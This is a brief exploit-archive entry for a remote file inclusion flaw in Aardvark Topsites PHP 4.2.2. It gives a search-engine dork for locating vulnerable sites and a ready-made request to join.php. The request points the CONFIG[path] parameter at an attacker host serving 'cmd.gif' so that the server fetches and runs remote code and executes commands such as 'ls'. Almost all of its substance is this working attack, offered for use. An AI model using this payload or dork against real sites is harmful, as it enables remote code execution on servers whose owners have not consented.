Aardvark Topsites PHP <= 4.2.2 (path) Remote File Inclusion Vuln

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Aardvark Topsites PHP <= 4.2.2 (path) Remote File Inclusion Vuln
# Published : 2006-04-30
# Author : [Oo]
# Previous Title : Fast Click (<= 1.1.3 , <= 2.3.8) (show.php) Remote File Inclusion Exploit
# Next Title : Invision Power Board <= 2.1.5 (from_contact) SQL Injection Exploit

Title: Aardvark Topsites PHP 4.2.2 remote file inclusion
URL: http://www.aardvarktopsitesphp.com/
Dork: "Powered By Aardvark Topsites PHP 4.2.2"

Exploit: /sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=http://yourhost/cmd.gif?cmd=ls

# www.Syue.com [2006-04-30]